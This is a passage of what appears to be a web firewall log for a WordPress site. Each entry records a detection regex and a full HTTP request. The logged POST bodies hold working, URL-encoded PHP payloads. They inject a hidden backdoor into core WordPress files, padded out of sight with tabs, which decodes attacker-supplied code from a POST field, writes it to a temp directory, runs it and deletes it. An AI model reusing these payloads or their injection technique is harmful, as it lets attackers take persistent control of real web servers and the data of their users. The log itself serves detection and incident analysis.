20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3709\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:44:58","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4273\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\n\nsn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:01","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4273\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\n\nVM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:08","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4273\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nEW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B